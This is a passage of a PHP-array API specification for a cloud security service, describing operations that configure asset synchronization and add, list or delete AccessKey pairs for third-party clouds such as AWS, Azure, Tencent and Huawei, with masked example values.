'952776BD-5546-59FC-8AF3-B54EBAD57***', ], 'Data' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"952776BD-5546-59FC-8AF3-B54EBAD57***\\",\\n \\"Data\\": true\\n}","type":"json"}]', 'title' => 'ModifyAssetCleanConfig', ], 'ListAssetRefreshTaskConfig' => [ 'summary' => 'Queries the configurations of asset synchronization.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region where the Security Center instance is deployed.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'RefreshConfigType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the configuration. Valid values:'."\n" ."\n" .'* **0**: server synchronization task'."\n" .'* **1**: cloud service synchronization task'."\n" .'* **2**: scheduled AccessKey pair verification task'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], [ 'name' => 'TargetId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the data entry containing the AccessKey pair that you specify when you configure the scheduled AccessKey pair verification task.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2295', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'AssetRefreshConfig' => [ 'description' => 'The asset synchronization configuration.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'The service provider of the cloud asset. Valid values:'."\n" ."\n" .'* **3**: Tencent Cloud'."\n" .'* **4**: Huawei Cloud'."\n" .'* **7**: Amazon Web Services (AWS) Cloud'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'SchedulePeriod' => [ 'description' => 'The synchronization cycle. Valid values:'."\n" ."\n" .'* **60**: 60 minutes'."\n" .'* **180**: 3 hours'."\n" .'* **360**: 6 hours'."\n" .'* **720**: 12 hours'."\n" .'* **1440**: 1 day'."\n" .'* **10080**: 7 days'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '360', ], 'Status' => [ 'description' => 'The status of the configuration. Valid values:'."\n" ."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RefreshConfigType' => [ 'description' => 'The type of the configuration. Valid values:'."\n" ."\n" .'* **0**: server synchronization task'."\n" .'* **1**: cloud service synchronization task'."\n" .'* **2**: scheduled AccessKey pair verification task'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"AssetRefreshConfig\\": [\\n {\\n \\"Vendor\\": 3,\\n \\"SchedulePeriod\\": 360,\\n \\"Status\\": 1,\\n \\"RefreshConfigType\\": 1\\n }\\n ],\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8\\"\\n}","type":"json"}]', 'title' => 'ListAssetRefreshTaskConfig', ], 'ChangeAssetRefreshTaskConfig' => [ 'summary' => 'Modifies the interval of asset synchronization configurations.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '161846', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'AssetRefreshConfigs', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The asset synchronization configuration.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'The service provider of the cloud asset. Valid values:'."\n" ."\n" .'* **3**: Tencent Cloud'."\n" .'* **4**: Huawei Cloud'."\n" .'* **7**: Amazon Web Services (AWS) Cloud'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '3', ], 'SchedulePeriod' => [ 'description' => 'The synchronization cycle. Valid values:'."\n" ."\n" .'* **60**: 60 minutes'."\n" .'* **180**: 3 hours'."\n" .'* **360**: 6 hours'."\n" .'* **720**: 12 hours'."\n" .'* **1440**: 1 day'."\n" .'* **10080**: 7 days'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '360', ], 'Status' => [ 'description' => 'The status of the configuration. Valid values:'."\n" ."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'RefreshConfigType' => [ 'description' => 'The type of the configuration. Valid values:'."\n" ."\n" .'* **0**: server synchronization task'."\n" .'* **1**: cloud service synchronization task'."\n" .'* **2**: scheduled AccessKey pair verification task'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], 'TargetId' => [ 'description' => 'The ID of the data entry containing the AccessKey pair that you specify when you configure the scheduled AccessKey pair verification task.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2308', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region in which your Security Center service resides.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], 'Data' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => 'Invalid parameter value.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"Data\\": true,\\n \\"Message\\": \\"successful\\"\\n}","type":"json"}]', 'title' => 'ChangeAssetRefreshTaskConfig', ], 'ListCloudVendorRegions' => [ 'summary' => 'Queries the synchronization region configurations of other clouds on a site.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '135132', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'The service provider of cloud assets. Valid values:'."\n" ."\n" .'* **Tencent**, **HUAWEICLOUD**, **Azure**, and **AWS**: other service providers of cloud assets.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Tencent', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content in the request and response messages. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The regions that the service provider supports.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'The region ID.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Area' => [ 'title' => 'region所属的区域', 'description' => 'The area to which the region belongs. The valid values vary based on the value of the Vendor parameter.'."\n" ."\n" .'* Valid values if **Vendor** is set to Tencent:'."\n" .'* **cn**: China'."\n" .'* **southeast_asia**: Southeast Asia Pacific'."\n" .'* **northeast_asia**: Northeast Asia Pacific'."\n" .'* **southern_asia**: South Asia Pacific'."\n" .'* **north_America**: North America'."\n" .'* **south_America**: South America'."\n" .'* **western_America**: Western United States'."\n" .'* **eastern_America**: Eastern United States'."\n" .'* **european**: Europe'."\n" .'* Valid values if **Vendor** is set to HUAWEICLOUD:'."\n" .'* **cn**: China'."\n" .'* **africa**: Africa'."\n" .'* **latin_america**: Latin America'."\n" .'* **asia**: Asia Pacific'."\n" .'* Valid values if **Vendor** is set to Azure:'."\n" .'* **middle_east**: Middle East'."\n" .'* **south_america**: South America'."\n" .'* **canada**: Canada'."\n" .'* **asia-pacific**: Asia Pacific'."\n" .'* **europe**: Europe'."\n" .'* **africa**: Africa'."\n" .'* **us**: United States'."\n" .'* **other**: other regions'."\n" .'* Valid values if **Vendor** is set to AWS:'."\n" .'* **cn**: China'."\n" .'* **us**: United States'."\n" .'* **eu**: Europe'."\n" .'* **asia**: Asia Pacific'."\n" .'* **south_america**: South America'."\n" .'* **me**: Middle East'."\n" .'* **ca**: Canada'."\n" .'* **af**: Africa'."\n", 'type' => 'string', 'example' => 'cn', ], 'Disable' => [ 'title' => '1：禁用', 'description' => 'Indicates whether the region is configured as a synchronization region on another site. Valid values:'."\n" ."\n" .'* **0**: The region is not configured as a synchronization region on another site.'."\n" .'* **1**: The region is configured as a synchronization region on another site.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Selected' => [ 'title' => '1：已选', 'description' => 'Indicates whether the region is configured as a synchronization region on this site. Valid values:'."\n" ."\n" .'* **0**: The region is not configured as a synchronization region on this site.'."\n" .'* **1**: The region is configured as a synchronization region on this site.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], ], 'Count' => [ 'description' => 'The total number of returned entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The return code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C87EC6AD-4590-5546-9DF6-B8956579D***', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => '-100', 'errorMessage' => 'The service is unavailable, please try again later.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Area\\": \\"cn\\",\\n \\"Disable\\": 1,\\n \\"Selected\\": 0\\n }\\n ],\\n \\"Count\\": 2,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"C87EC6AD-4590-5546-9DF6-B8956579D***\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListCloudVendorRegions', ], 'AddCloudVendorAccountAK' => [ 'summary' => 'Adds the configuration information of multi-cloud assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91898', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **Tencent**: Tencent Cloud'."\n" .'* **HUAWEICLOUD**: Huawei Cloud'."\n" .'* **Azure**: Microsoft Azure'."\n" .'* **AWS**: Amazon Web Services (AWS)'."\n", 'type' => 'string', 'required' => true, 'example' => 'AWS', ], ], [ 'name' => 'AkType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the account to which the AccessKey pair belongs. Valid values:'."\n" ."\n" .'* **primary**: a primary account'."\n" .'* **sub**: a sub-account'."\n", 'type' => 'string', 'required' => true, 'example' => 'primary', ], ], [ 'name' => 'SecretId', 'in' => 'query', 'schema' => [ 'description' => 'The AccessKey ID. Valid values:'."\n" ."\n" .'1\\. If AkType is set to primary, specify this parameter based on the following description:'."\n" ."\n" .'* **Tencent**: Enter the AccessKey ID of a primary account on Tencent Cloud.'."\n" .'* **HUAWEICLOUD**: Enter the AccessKey ID of a primary account on Huawei Cloud.'."\n" .'* **Azure**: Enter the AccessKey ID of a primary account on Microsoft Azure.'."\n" .'* **AWS**: Enter the AccessKey ID of a primary account on AWS.'."\n" ."\n" .'2\\. If AkType is set to sub, specify this parameter based on the following description:'."\n" ."\n" .'* **Tencent**: Enter the AccessKey ID of a sub-account on Tencent Cloud.'."\n" .'* **HUAWEICLOUD**: Enter the AccessKey ID of a sub-account on Huawei Cloud.'."\n" .'* **Azure**: Enter the AccessKey ID of a sub-account on Microsoft Azure.'."\n" .'* **AWS**: Enter the AccessKey ID of a sub-account on AWS.'."\n", 'type' => 'string', 'required' => true, 'example' => '45GLRV4SOT0YFB****', ], ], [ 'name' => 'SecretKey', 'in' => 'query', 'schema' => [ 'description' => 'The AccessKey secret. Valid values:'."\n" ."\n" .'1\\. If AkType is set to primary, specify this parameter based on the following description:'."\n" ."\n" .'* **Tencent**: Enter the AccessKey secret of a primary account on Tencent Cloud.'."\n" .'* **HUAWEICLOUD**: Enter the AccessKey secret of a primary account on Huawei Cloud.'."\n" .'* **Azure**: Enter the AccessKey secret of a primary account on Microsoft Azure.'."\n" .'* **AWS**: Enter the AccessKey secret of a primary account on AWS.'."\n" ."\n" .'2\\. If AkType is set to sub, specify this parameter based on the following description:'."\n" ."\n" .'* **Tencent**: Enter the AccessKey secret of a sub-account on Tencent Cloud.'."\n" .'* **HUAWEICLOUD**: Enter the AccessKey secret of a sub-account on Huawei Cloud.'."\n" .'* **Azure**: Enter the AccessKey secret of a sub-account on Microsoft Azure.'."\n" .'* **AWS**: Enter the AccessKey secret of a sub-account on AWS.'."\n", 'type' => 'string', 'required' => true, 'example' => 'AE6SLd****', ], ], [ 'name' => 'Regions', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The regions that are examined during AccessKey pair authentication. This parameter takes effect only when Vendor is set to AWS.'."\n" ."\n" .'> You can call the [ListCloudVendorRegions](~~ListCloudVendorRegions~~) operation to query regions.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The region that is examined during AccessKey pair authentication.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ap-south-1', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'SubscriptionIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The subscription IDs. This parameter takes effect only when Vendor is set to Azure.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The subscription ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '9b41e7ae-fcbf-4983-aa32-6fb2e*****', ], 'required' => false, 'maxItems' => 1, ], ], [ 'name' => 'TenantId', 'in' => 'query', 'schema' => [ 'description' => 'The tenant ID. This parameter takes effect only when Vendor is set to Azure.'."\n", 'type' => 'string', 'required' => false, 'example' => '95304a97-339b-4de5-9a7d-cdbffaf****', ], ], [ 'name' => 'Domain', 'in' => 'query', 'schema' => [ 'description' => 'The Active Directory (AD) domain. This parameter takes effect only when Vendor is set to Azure. Valid values:'."\n" ."\n" .'* **china**'."\n" .'* **global**'."\n", 'type' => 'string', 'required' => false, 'example' => 'global', ], ], [ 'name' => 'AuthModules', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The modules that are associated with the AccessKey pair.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The code of the module. Valid values:'."\n" ."\n" .'* **HOST**: host'."\n" .'* **CSPM**: configuration assessment'."\n" .'* **SIEM**: CloudSiem'."\n" .'* **TRIAL**: log audit'."\n", 'type' => 'string', 'required' => false, 'example' => 'HOST', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content in the request and response messages. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'VendorAuthAlias', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The name of the AccessKey pair.'."\n" ."\n" .'> The account information of the third-party cloud servers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'ExtendInfo', 'in' => 'query', 'schema' => [ 'description' => 'Extended information.'."\n" .'> Used to record extended information from different vendors. > For Google Cloud, which is accessed via a service account, ExtendInfo stores the service key file in JSON format, excluding the private_key_id and zprivate_key fields. The file includes the following fields: type, project_id, client_email, client_id, auth_uri, token_uri, auth_provider_x509_cert_url, client_x509_cert_url, universe_domain.', 'type' => 'string', 'required' => false, 'example' => '{\\"product\\":\\"webFirewall\\",\\"remark\\":\\"remark\\"}', ], ], [ 'name' => 'CtdrCloudUserId', 'in' => 'query', 'schema' => [ 'description' => 'Account ID. > The account ID of the cloud provider, required when permissions include threat analysis and response.', 'type' => 'string', 'required' => false, 'example' => 'azure_demo_1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A60DA4EC-7CD8-577D-AD73-***', ], 'Data' => [ 'description' => 'The information about the AccessKey pair that is added.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the AccessKey pair. Valid values:'."\n" ."\n" .'* **0**: enabled'."\n" .'* **1**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AuthId' => [ 'description' => 'The unique ID of the AccessKey pair.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2158', ], 'AkType' => [ 'description' => 'The type of the account to which the AccessKey pair belongs. Valid values:'."\n" ."\n" .'* **primary**: a primary account'."\n" .'* **sub**: a sub-account'."\n", 'type' => 'string', 'example' => 'sub', ], 'SecretId' => [ 'description' => 'The AccessKey ID.'."\n", 'type' => 'string', 'example' => 'AE6SLd****', ], 'ServiceStatus' => [ 'description' => 'The service status of the AccessKey pair. Valid values:'."\n" ."\n" .'* **0**: being used'."\n" .'* **1**: exception occurred'."\n" .'* **2**: being validated'."\n" .'* **3**: validation timed out'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Vendor' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **Tencent**: Tencent Cloud'."\n" .'* **HUAWEICLOUD**: Huawei Cloud'."\n" .'* **Azure**: Microsoft Azure'."\n" .'* **AWS**: AWS'."\n", 'type' => 'string', 'example' => 'Tencent', ], 'Message' => [ 'description' => 'The error message of the AccessKey pair.'."\n", 'type' => 'string', 'example' => 'The IAM user is forbidden in the currently selected region', ], 'AuthModules' => [ 'description' => 'The modules that are associated with the AccessKey pair.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'ModuleDisp' => [ 'description' => 'The display name of the module.'."\n", 'type' => 'string', 'example' => 'Host Assets', ], 'ModuleStatement' => [ 'description' => 'The permission description of the module.'."\n", 'type' => 'string', 'example' => 'Read permission of the cloud server or virtual machine', ], 'Module' => [ 'description' => 'The code of the module. Valid values:'."\n" ."\n" .'* **HOST**: host'."\n" .'* **CSPM**: configuration assessment'."\n" .'* **SIEM**: CloudSiem'."\n" .'* **TRIAL**: log audit'."\n", 'type' => 'string', 'example' => 'HOST', ], 'ModuleAssetType' => [ 'description' => 'The cloud asset that is associated with the module.'."\n", 'type' => 'string', 'example' => 'Cloud server or virtual machine', ], 'ModuleServiceStatus' => [ 'description' => 'The service status of the module. Valid values:'."\n" ."\n" .'* **0**: being used'."\n" .'* **1**: exception occurred'."\n" .'* **2**: being validated'."\n" .'* **3**: validation timed out'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Message' => [ 'description' => 'The error message of the module.'."\n", 'type' => 'string', 'example' => 'ak_domain_error', ], ], 'description' => '', ], ], 'VendorAuthAlias' => [ 'description' => 'The name of the AccessKey pair.'."\n" ."\n" .'> The account information of the third-party cloud servers.'."\n", 'type' => 'string', 'example' => 'test', ], 'CtdrCloudUserId' => [ 'description' => 'Account ID. '."\n" ."\n" .'> The account ID of the cloud provider being integrated.', 'type' => 'string', 'example' => 'azure_demo_1', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'CreateAkError', 'errorMessage' => 'Failed to create an AK.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A60DA4EC-7CD8-577D-AD73-***\\",\\n \\"Data\\": {\\n \\"Status\\": 0,\\n \\"AuthId\\": 2158,\\n \\"AkType\\": \\"sub\\",\\n \\"SecretId\\": \\"AE6SLd****\\",\\n \\"ServiceStatus\\": 0,\\n \\"Vendor\\": \\"Tencent\\",\\n \\"Message\\": \\"The IAM user is forbidden in the currently selected region\\",\\n \\"AuthModules\\": [\\n {\\n \\"ModuleDisp\\": \\"Host Assets\\",\\n \\"ModuleStatement\\": \\"Read permission of the cloud server or virtual machine\\",\\n \\"Module\\": \\"HOST\\",\\n \\"ModuleAssetType\\": \\"Cloud server or virtual machine\\",\\n \\"ModuleServiceStatus\\": 0,\\n \\"Message\\": \\"ak_domain_error\\"\\n }\\n ],\\n \\"VendorAuthAlias\\": \\"test\\",\\n \\"CtdrCloudUserId\\": \\"azure_demo_1\\"\\n }\\n}","type":"json"}]', 'title' => 'AddCloudVendorAccountAK', 'translator' => 'machine', ], 'DeleteCloudVendorAccountAK' => [ 'summary' => 'Delete multi-cloud asset synchronization configuration.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91952', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'AuthId', 'in' => 'query', 'schema' => [ 'description' => 'The unique ID of the AccessKey pair.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '2363', ], ], [ 'name' => 'AuthModules', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The modules that are associated with the AccessKey pair.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The code of the module.'."\n", 'type' => 'string', 'required' => false, 'example' => 'HOST', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '4539D402-F7A4-5915-9580-EC227BF*****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4539D402-F7A4-5915-9580-EC227BF*****\\"\\n}","type":"json"}]', 'title' => 'DeleteCloudVendorAccountAK', 'translator' => 'machine', ], 'DescribeCloudVendorAccountAKList' => [ 'summary' => 'Queries the multi-cloud assets added to Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92023', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', 'FEATUREsasLFD8D4', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'SubAccountName', 'in' => 'query', 'schema' => [ 'description' => 'The username of the sub-account of the cloud service provider to which the AccessKey pair belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'AlibabaCloud_***', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the AccessKey pair. Valid values:'."\n" ."\n" .'* **0**: enabled'."\n" .'* **1**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'AuthIds', 'in' => 'query', 'schema' => [ 'description' => 'The unique ID of the AccessKey pair.'."\n", 'type' => 'string', 'required' => false, 'example' => '2624', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'VendorAuthAlias', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The name of the AccessKey pair.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'type' => 'string', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '55', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'CloudVendorAccountAKs' => [ 'description' => 'The information about the AccessKey pairs.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the AccessKey pair. Valid values:'."\n" ."\n" .'* **0**: enabled'."\n" .'* **1**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AuthId' => [ 'description' => 'The unique ID of the AccessKey pair.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2345', ], 'AkType' => [ 'description' => 'The type of the account to which the AccessKey pair belongs. Valid values:'."\n" ."\n" .'* **primary**: a primary account'."\n" .'* **sub**: a sub-account'."\n", 'type' => 'string', 'example' => 'primary', ], 'SecretId' => [ 'description' => 'The AccessKey ID.'."\n", 'type' => 'string', 'example' => 'S3D6c4O***', ], 'ServiceStatus' => [ 'description' => 'The service status of the AccessKey pair. Valid values:'."\n" ."\n" .'* **0**: being used'."\n" .'* **1**: exception occurred'."\n" .'* **2**: being validated'."\n" .'* **3**: validation timed out'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Vendor' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **Tencent**: Tencent Cloud'."\n" .'* **HUAWEICLOUD**: Huawei Cloud'."\n" .'* **Azure**: Microsoft Azure'."\n" .'* **AWS**: Amazon Web Services (AWS)'."\n", 'type' => 'string', 'example' => 'Tencent', ], 'Message' => [ 'description' => 'The error message of the AccessKey pair.'."\n", 'type' => 'string', 'example' => 'The IAM user is forbidden in the currently selected region'."\n", ], 'AuthModules' => [ 'description' => 'The modules that are associated with the AccessKey pair.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'ModuleDisp' => [ 'description' => 'The display name of the module.'."\n", 'type' => 'string', 'example' => 'Host Assets', ], 'ModuleStatement' => [ 'description' => 'The permission description of the 